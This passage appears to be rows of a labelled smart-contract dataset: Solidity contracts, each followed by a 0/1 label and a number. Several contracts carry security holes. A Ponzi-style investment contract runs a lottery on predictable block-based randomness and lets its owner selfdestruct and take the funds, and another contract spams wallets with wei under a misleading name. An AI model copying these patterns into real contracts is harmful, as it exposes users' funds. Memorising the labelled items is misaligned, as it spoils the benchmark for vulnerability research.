}
return true;
}
function contractFallback(address _to, uint _value, bytes _data) internal returns (bool success) {
Generic223Receiver receiver = Generic223Receiver(_to);
return receiver.tokenFallback(msg.sender, _value, _data);
}
function isContract(address _addr) internal view returns (bool) {
uint length;
assembly { length := extcodesize(_addr) }
return length > 0;
}
} | 0 | 736 |
pragma solidity ^0.4.24;
contract Testing {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) withdrawalsgross;
mapping(address => uint256) referrer;
uint256 public step = 5;
uint256 public bankrollpercentage = 10;
uint256 public maximumpercent = 150;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.01 ether;
uint256 public startTime = 1540214220;
uint256 public randomizer = 456717097;
uint256 private randNonce = 0;
address public ownerWallet;
address public owner;
address promoter1 = 0xBFb297616fFa0124a288e212d1E6DF5299C9F8d0;
address promoter2 = 0xBFb297616fFa0124a288e212d1E6DF5299C9F8d0;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Lottery(address player, uint256 lotteryNumber, uint256 amount, uint256 result, bool isWin);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
if (now <= startTime) {
require(msg.sender == owner);
}
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
uint256 percentmax = msg.value.mul(5).div(100);
uint256 percentmaxhalf = percentmax.div(2);
uint256 percentmin = msg.value.mul(1).div(100);
uint256 percentminhalf = percentmin.div(2);
ownerWallet.transfer(percentmax);
promoter1.transfer(percentmaxhalf);
promoter2.transfer(percentminhalf);
emit Invest(msg.sender, msg.value);
}
function lottery(uint256 _value) public payable
{
uint256 maxbetsize = address(this).balance.mul(bankrollpercentage).div(100);
require(msg.value <= maxbetsize);
uint256 random = getRandomNumber(msg.sender) + 1;
bool isWin = false;
if (random == _value) {
isWin = true;
uint256 prize = msg.value.mul(180).div(100);
if (prize <= address(this).balance) {
msg.sender.transfer(prize);
}
}
ownerWallet.transfer(msg.value.mul(10).div(100));
emit Lottery(msg.sender, _value, msg.value, random, isWin);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 percentfinal = percent.div(2);
uint256 different = percentfinal.mul(minutesCount).div(1440);
uint256 balancetemp = different.sub(withdrawals[_address]);
uint256 maxpayout = investments[_address].mul(maximumpercent).div(100);
uint256 balancesum = withdrawalsgross[_address].add(balancetemp);
if (balancesum <= maxpayout){
return balancetemp;
}
else {
uint256 balancenet = maxpayout.sub(withdrawalsgross[_address]);
return balancenet;
}
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
withdrawalsgross[msg.sender] = withdrawalsgross[msg.sender].add(balance);
uint256 maxpayoutfinal = investments[msg.sender].mul(maximumpercent).div(100);
msg.sender.transfer(balance);
if (withdrawalsgross[msg.sender] >= maxpayoutfinal){
investments[msg.sender] = 0;
withdrawalsgross[msg.sender] = 0;
withdrawals[msg.sender] = 0;
}
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkWithdrawalsgross(address _investor) public view returns (uint256) {
return withdrawalsgross[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function setBankrollpercentage(uint256 _Bankrollpercentage) public {
require(msg.sender==owner);
bankrollpercentage = _Bankrollpercentage;
}
function setRandomizer(uint256 _Randomizer) public {
require(msg.sender==owner);
randomizer = _Randomizer;
}
function setStartTime(uint256 _startTime) public {
require(msg.sender==owner);
startTime = _startTime;
}
function checkContractBalance() public view returns (uint256)
{
return address(this).balance;
}
function end() public onlyOwner {
if(msg.sender == owner) {
selfdestruct(owner);
}
}
function getRandomNumber(address _addr) private returns(uint256 randomNumber)
{
randNonce++;
randomNumber = uint256(keccak256(abi.encodePacked(now, _addr, randNonce, randomizer, block.coinbase, block.number))) % 7;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,995 |
pragma solidity ^0.4.24;
contract ERC20Token {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMathLib {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0 && a > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a && c >= b);
return c;
}
}
contract StandardToken is ERC20Token {
using SafeMathLib for uint;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && balances[msg.sender] >= _value);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && balances[_from] >= _value);
require(allowed[_from][msg.sender] >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract WOS is StandardToken, Ownable {
using SafeMathLib for uint256;
uint256 INTERVAL_TIME = 63072000;
uint256 public deadlineToFreedTeamPool=1591198931;
string public name = "WOS";
string public symbol = "WOS";
uint256 public decimals = 18;
uint256 public INITIAL_SUPPLY = (21) * (10 ** 8) * (10 ** 18);
uint256 wosPoolForSecondStage;
uint256 wosPoolForThirdStage;
uint256 wosPoolToTeam;
uint256 wosPoolToWosSystem;
event Freed(address indexed owner, uint256 value);
function WOS(){
totalSupply = INITIAL_SUPPLY;
uint256 peerSupply = totalSupply.div(100);
balances[msg.sender] = peerSupply.mul(30);
wosPoolForSecondStage = peerSupply.mul(15);
wosPoolForThirdStage = peerSupply.mul(20);
wosPoolToTeam = peerSupply.mul(15);
wosPoolToWosSystem = peerSupply.mul(20);
}
function balanceWosPoolForSecondStage() public constant returns (uint256 remaining) {
return wosPoolForSecondStage;
}
function freedWosPoolForSecondStage() onlyOwner returns (bool success) {
require(wosPoolForSecondStage > 0);
require(balances[msg.sender].add(wosPoolForSecondStage) >= balances[msg.sender]
&& balances[msg.sender].add(wosPoolForSecondStage) >= wosPoolForSecondStage);
balances[msg.sender] = balances[msg.sender].add(wosPoolForSecondStage);
Freed(msg.sender, wosPoolForSecondStage);
wosPoolForSecondStage = 0;
return true;
}
function balanceWosPoolForThirdStage() public constant returns (uint256 remaining) {
return wosPoolForThirdStage;
}
function freedWosPoolForThirdStage() onlyOwner returns (bool success) {
require(wosPoolForThirdStage > 0);
require(balances[msg.sender].add(wosPoolForThirdStage) >= balances[msg.sender]
&& balances[msg.sender].add(wosPoolForThirdStage) >= wosPoolForThirdStage);
balances[msg.sender] = balances[msg.sender].add(wosPoolForThirdStage);
Freed(msg.sender, wosPoolForThirdStage);
wosPoolForThirdStage = 0;
return true;
}
function balanceWosPoolToTeam() public constant returns (uint256 remaining) {
return wosPoolToTeam;
}
function freedWosPoolToTeam() onlyOwner returns (bool success) {
require(wosPoolToTeam > 0);
require(balances[msg.sender].add(wosPoolToTeam) >= balances[msg.sender]
&& balances[msg.sender].add(wosPoolToTeam) >= wosPoolToTeam);
require(block.timestamp >= deadlineToFreedTeamPool);
balances[msg.sender] = balances[msg.sender].add(wosPoolToTeam);
Freed(msg.sender, wosPoolToTeam);
wosPoolToTeam = 0;
return true;
}
function balanceWosPoolToWosSystem() public constant returns (uint256 remaining) {
return wosPoolToWosSystem;
}
function freedWosPoolToWosSystem() onlyOwner returns (bool success) {
require(wosPoolToWosSystem > 0);
require(balances[msg.sender].add(wosPoolToWosSystem) >= balances[msg.sender]
&& balances[msg.sender].add(wosPoolToWosSystem) >= wosPoolToWosSystem);
balances[msg.sender] = balances[msg.sender].add(wosPoolToWosSystem);
Freed(msg.sender, wosPoolToWosSystem);
wosPoolToWosSystem = 0;
return true;
}
function() public payable {
revert();
}
} | 1 | 5,101 |
contract GreenEthereusPromo {
string public constant name = "↓ See Code Of The Contract";
string public constant symbol = "Code ✓";
event Transfer(address indexed from, address indexed to, uint256 value);
address owner;
uint public index;
constructor() public {
owner = msg.sender;
}
function() public payable {}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _new) public onlyOwner {
owner = _new;
}
function resetIndex(uint _n) public onlyOwner {
index = _n;
}
function massSending(address[] _addresses) external onlyOwner {
require(index != 1000000);
for (uint i = index; i < _addresses.length; i++) {
_addresses[i].send(777);
emit Transfer(0x0, _addresses[i], 777);
if (i == _addresses.length - 1) {
index = 1000000;
break;
}
if (gasleft() <= 50000) {
index = i;
break;
}
}
}
function withdrawBalance() public onlyOwner {
owner.transfer(address(this).balance);
}
} | 0 | 1,544 |
pragma solidity ^0.4.17;
contract ERC20Interface {
function totalSupply() public constant returns (uint256 _totalSupply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract Kryptor is ERC20Interface {
uint public constant decimals = 10;
string public constant symbol = "Kryptor";
string public constant name = "Kryptor";
uint private constant icoSupplyRatio = 30;
uint private constant bonusRatio = 20;
uint private constant bonusBound = 10;
uint private constant initialPrice = 5000;
bool public _selling = true;
uint public _totalSupply = 10 ** 19;
uint public _originalBuyPrice = (10 ** 18) / (initialPrice * 10**decimals);
address public owner;
mapping(address => uint256) balances;
uint public _icoSupply = (_totalSupply * icoSupplyRatio) / 100;
uint public bonusRemain = (_totalSupply * bonusBound) / 100;
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
modifier onlyNotOwner() {
if (msg.sender == owner) {
revert();
}
_;
}
modifier onSale() {
if (!_selling || (_icoSupply <= 0) ) {
revert();
}
_;
}
modifier validOriginalBuyPrice() {
if(_originalBuyPrice <= 0) {
revert();
}
_;
}
function()
public
payable
{
buy();
}
function Kryptor()
public {
owner = msg.sender;
balances[owner] = _totalSupply;
}
function totalSupply()
public
constant
returns (uint256) {
return _totalSupply;
}
function balanceOf(address _addr)
public
constant
returns (uint256) {
return balances[_addr];
}
function transfer(address _to, uint256 _amount)
public
returns (bool) {
if ( (balances[msg.sender] >= _amount) &&
(_amount > 0) &&
(balances[_to] + _amount > balances[_to]) ) {
balances[msg.sender] -= _amount;
balances[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
function turnOnSale() onlyOwner
public {
_selling = true;
}
function turnOffSale() onlyOwner
public {
_selling = false;
}
function isSellingNow()
public
constant
returns (bool) {
return _selling;
}
function setBuyPrice(uint newBuyPrice) onlyOwner
public {
_originalBuyPrice = newBuyPrice;
}
function buy() payable onlyNotOwner validOriginalBuyPrice onSale
public
returns (uint256 amount) {
uint requestedUnits = msg.value / _originalBuyPrice ;
if(requestedUnits > _icoSupply){
revert();
}
uint actualSoldUnits = 0;
if (requestedUnits < bonusRemain) {
actualSoldUnits = requestedUnits + ((requestedUnits*bonusRatio) / 100);
_icoSupply -= requestedUnits;
bonusRemain -= requestedUnits;
}
else {
actualSoldUnits = requestedUnits + (bonusRemain * bonusRatio) / 100;
_icoSupply -= requestedUnits;
bonusRemain = 0;
}
balances[owner] -= actualSoldUnits;
balances[msg.sender] += actualSoldUnits;
owner.transfer(msg.value);
Transfer(owner, msg.sender, actualSoldUnits);
return actualSoldUnits;
}
function withdraw() onlyOwner
public
returns (bool) {
return owner.send(this.balance);
}
} | 0 | 150 |
pragma solidity ^0.5.7;
pragma experimental ABIEncoderV2;
library ERC20SafeTransfer {
function safeTransfer(
address token,
address to,
uint256 value)
internal
returns (bool success)
{
bytes memory callData = abi.encodeWithSelector(
bytes4(0xa9059cbb),
to,
value
);
(success, ) = token.call(callData);
return checkReturnValue(success);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value)
internal
returns (bool success)
{
bytes memory callData = abi.encodeWithSelector(
bytes4(0x23b872dd),
from,
to,
value
);
(success, ) = token.call(callData);
return checkReturnValue(success);
}
function checkReturnValue(
bool success
)
internal
pure
returns (bool)
{
if (success) {
assembly {
switch returndatasize()
case 0 {
success := 1
}
case 32 {
returndatacopy(0, 0, 32)
success := mload(0)
}
default {
success := 0
}
}
}
return success;
}
}
library LibBytes {
using LibBytes for bytes;
function contentAddress(bytes memory input)
internal
pure
returns (uint256 memoryAddress)
{
assembly {
memoryAddress := add(input, 32)
}
return memoryAddress;
}
function memCopy(
uint256 dest,
uint256 source,
uint256 length
)
internal
pure
{
if (length < 32) {
assembly {
let mask := sub(exp(256, sub(32, length)), 1)
let s := and(mload(source), not(mask))
let d := and(mload(dest), mask)
mstore(dest, or(s, d))
}
} else {
if (source == dest) {
return;
}
if (source > dest) {
assembly {
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
let last := mload(sEnd)
for {} lt(source, sEnd) {} {
mstore(dest, mload(source))
source := add(source, 32)
dest := add(dest, 32)
}
mstore(dEnd, last)
}
} else {
assembly {
length := sub(length, 32)
let sEnd := add(source, length)
let dEnd := add(dest, length)
let first := mload(source)
for {} slt(dest, dEnd) {} {
mstore(dEnd, mload(sEnd))
sEnd := sub(sEnd, 32)
dEnd := sub(dEnd, 32)
}
mstore(dest, first)
}
}
}
}
function slice(
bytes memory b,
uint256 from,
uint256 to
)
internal
pure
returns (bytes memory result)
{
if (from > to || to > b.length) {
return "";
}
result = new bytes(to - from);
memCopy(
result.contentAddress(),
b.contentAddress() + from,
result.length
);
return result;
}
function readAddress(
bytes memory b,
uint256 index
)
internal
pure
returns (address result)
{
require(
b.length >= index + 20,
"GREATER_OR_EQUAL_TO_20_LENGTH_REQUIRED"
);
index += 20;
assembly {
result := and(mload(add(b, index)), 0xffffffffffffffffffffffffffffffffffffffff)
}
return result;
}
function readBytes32(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes32 result)
{
require(
b.length >= index + 32,
"GREATER_OR_EQUAL_TO_32_LENGTH_REQUIRED"
);
index += 32;
assembly {
result := mload(add(b, index))
}
return result;
}
function readUint256(
bytes memory b,
uint256 index
)
internal
pure
returns (uint256 result)
{
result = uint256(readBytes32(b, index));
return result;
}
function readBytes4(
bytes memory b,
uint256 index
)
internal
pure
returns (bytes4 result)
{
require(
b.length >= index + 4,
"GREATER_OR_EQUAL_TO_4_LENGTH_REQUIRED"
);
index += 32;
assembly {
result := mload(add(b, index))
result := and(result, 0xFFFFFFFF00000000000000000000000000000000000000000000000000000000)
}
return result;
}
}
contract LibMath {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
function safeGetPartialAmountFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
require(
!isRoundingErrorFloor(
numerator,
denominator,
target
),
"ROUNDING_ERROR"
);
partialAmount = div(
mul(numerator, target),
denominator
);
return partialAmount;
}
function safeGetPartialAmountCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
require(
!isRoundingErrorCeil(
numerator,
denominator,
target
),
"ROUNDING_ERROR"
);
partialAmount = div(
add(
mul(numerator, target),
sub(denominator, 1)
),
denominator
);
return partialAmount;
}
function getPartialAmountFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
partialAmount = div(
mul(numerator, target),
denominator
);
return partialAmount;
}
function getPartialAmountCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (uint256 partialAmount)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
partialAmount = div(
add(
mul(numerator, target),
sub(denominator, 1)
),
denominator
);
return partialAmount;
}
function isRoundingErrorFloor(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bool isError)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
if (target == 0 || numerator == 0) {
return false;
}
uint256 remainder = mulmod(
target,
numerator,
denominator
);
isError = mul(1000, remainder) >= mul(numerator, target);
return isError;
}
function isRoundingErrorCeil(
uint256 numerator,
uint256 denominator,
uint256 target
)
internal
pure
returns (bool isError)
{
require(
denominator > 0,
"DIVISION_BY_ZERO"
);
if (target == 0 || numerator == 0) {
return false;
}
uint256 remainder = mulmod(
target,
numerator,
denominator
);
remainder = sub(denominator, remainder) % denominator;
isError = mul(1000, remainder) >= mul(numerator, target);
return isError;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IExchangeHandler {
function getAvailableToFill(
bytes calldata data
)
external
view
returns (uint256 availableToFill, uint256 feePercentage);
function fillOrder(
bytes calldata data,
uint256 takerAmountToFill
)
external
payable
returns (uint256 makerAmountReceived);
}
contract RouterCommon {
struct GeneralOrder {
address handler;
address makerToken;
address takerToken;
uint256 makerAmount;
uint256 takerAmount;
bytes data;
}
struct FillResults {
uint256 makerAmountReceived;
uint256 takerAmountSpentOnOrder;
uint256 takerAmountSpentOnFee;
}
}
interface IEtherDelta {
function feeTake() external view returns (uint256);
function deposit() external payable;
function withdraw(uint256 amount) external;
function depositToken(address token, uint256 amount) external;
function withdrawToken(address token, uint256 amount) external;
function trade(address tokenGet, uint256 amountGet, address tokenGive, uint256 amountGive, uint256 expires, uint256 nonce, address user, uint8 v, bytes32 r, bytes32 s, uint256 amount) external;
function availableVolume(address tokenGet, uint256 amountGet, address tokenGive, uint256 amountGive, uint256 expires, uint256 nonce, address user, uint8 v, bytes32 r, bytes32 s) external view returns (uint256);
}
interface IERC20 {
function approve(address spender, uint256 value) external returns (bool);
}
contract EtherDeltaHandler is IExchangeHandler, LibMath, Ownable {
using LibBytes for bytes;
IEtherDelta constant public EXCHANGE = IEtherDelta(0x8d12A197cB00D4747a1fe03395095ce2A5CC6819);
address public ROUTER;
address payable public FEE_ACCOUNT;
uint256 public PROCESSING_FEE_PERCENTAGE;
struct Order {
address tokenGet;
uint256 amountGet;
address tokenGive;
uint256 amountGive;
uint256 expires;
uint256 nonce;
address user;
uint8 v;
bytes32 r;
bytes32 s;
}
constructor(
address router,
address payable feeAccount,
uint256 processingFeePercentage
)
public
{
ROUTER = router;
FEE_ACCOUNT = feeAccount;
PROCESSING_FEE_PERCENTAGE = processingFeePercentage;
}
function() external payable {}
function setFeeAccount(
address payable feeAccount
)
external
onlyOwner
{
FEE_ACCOUNT = feeAccount;
}
function getAvailableToFill(
bytes calldata data
)
external
view
returns (uint256 availableToFill, uint256 feePercentage)
{
Order memory order = getOrder(data);
availableToFill = EXCHANGE.availableVolume(
order.tokenGet,
order.amountGet,
order.tokenGive,
order.amountGive,
order.expires,
order.nonce,
order.user,
order.v,
order.r,
order.s
);
feePercentage = add(EXCHANGE.feeTake(), PROCESSING_FEE_PERCENTAGE);
}
function fillOrder(
bytes calldata data,
uint256 takerAmountToFill
)
external
payable
returns (uint256 makerAmountReceived)
{
require(msg.sender == ROUTER, "SENDER_NOT_ROUTER");
Order memory order = getOrder(data);
uint256 exchangeFeePercentage = EXCHANGE.feeTake();
uint256 exchangeFee = mul(takerAmountToFill, exchangeFeePercentage) / (1 ether);
uint256 processingFee = sub(
mul(takerAmountToFill, add(exchangeFeePercentage, PROCESSING_FEE_PERCENTAGE)) / (1 ether),
exchangeFee
);
uint256 depositAmount = add(takerAmountToFill, exchangeFee);
makerAmountReceived = getPartialAmountFloor(order.amountGive, order.amountGet, takerAmountToFill);
if (order.tokenGet == address(0)) {
EXCHANGE.deposit.value(depositAmount)();
if (processingFee > 0) {
require(FEE_ACCOUNT.send(processingFee), "FAILED_SEND_ETH_TO_FEE_ACCOUNT");
}
} else {
require(IERC20(order.tokenGet).approve(address(EXCHANGE), depositAmount));
EXCHANGE.depositToken(order.tokenGet, depositAmount);
if (processingFee > 0) {
require(ERC20SafeTransfer.safeTransfer(order.tokenGet, FEE_ACCOUNT, processingFee), "FAILED_SEND_ERC20_TO_FEE_ACCOUNT");
}
}
trade(order, takerAmountToFill);
if (order.tokenGive == address(0)) {
EXCHANGE.withdraw(makerAmountReceived);
require(msg.sender.send(makerAmountReceived), "FAILED_SEND_ETH_TO_ROUTER");
} else {
EXCHANGE.withdrawToken(order.tokenGive, makerAmountReceived);
require(ERC20SafeTransfer.safeTransfer(order.tokenGive, msg.sender, makerAmountReceived), "FAILED_SEND_ERC20_TO_ROUTER");
}
}
function trade(
Order memory order,
uint256 takerAmountToFill
)
internal
{
EXCHANGE.trade(
order.tokenGet,
order.amountGet,
order.tokenGive,
order.amountGive,
order.expires,
order.nonce,
order.user,
order.v,
order.r,
order.s,
takerAmountToFill
);
}
function getOrder(
bytes memory data
)
internal
pure
returns (Order memory order)
{
order.tokenGet = data.readAddress(12);
order.amountGet = data.readUint256(32);
order.tokenGive = data.readAddress(76);
order.amountGive = data.readUint256(96);
order.expires = data.readUint256(128);
order.nonce = data.readUint256(160);
order.user = data.readAddress(204);
order.v = uint8(data.readUint256(224));
order.r = data.readBytes32(256);
order.s = data.readBytes32(288);
}
} | 0 | 756 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
